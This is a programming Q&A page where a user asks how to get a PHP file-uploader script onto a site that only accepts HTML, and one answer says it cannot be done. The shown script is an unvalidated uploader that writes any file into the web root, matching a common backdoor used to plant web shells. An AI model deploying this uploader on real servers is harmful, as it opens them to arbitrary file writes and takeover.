Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How to include a PHP file in HTML

Tags:

html

php

I was trying to upload this file into a website, but it won't allow me to upload a PHP file into the site. Only HTML are allowed. The problem is, I don't know how to include this PHP script in HTML.

<?php
echo '<title>File Uploader</title>';
echo 
  '<form action="" method="post" 
                   enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
      <input name="_upl" type="submit" id="_upl" value="Upload">
      </form>';
if( $_POST['_upl'] == "Upload" )
{
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
   echo '<b>Upload Success!</b><br><br>';
}
else { echo '<b>Upload Failed!</b><br><br>'; }
}
?>
like image 507
Code Newbie Avatar asked Jun 10 '26 07:06

Code Newbie


1 Answers

You can't include a php file in html if the server will not allow anything except html. You can only upload a php file to a server that allows you to serve PHP.

like image 150
PressingOnAlways Avatar answered Jun 11 '26 23:06

PressingOnAlways



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!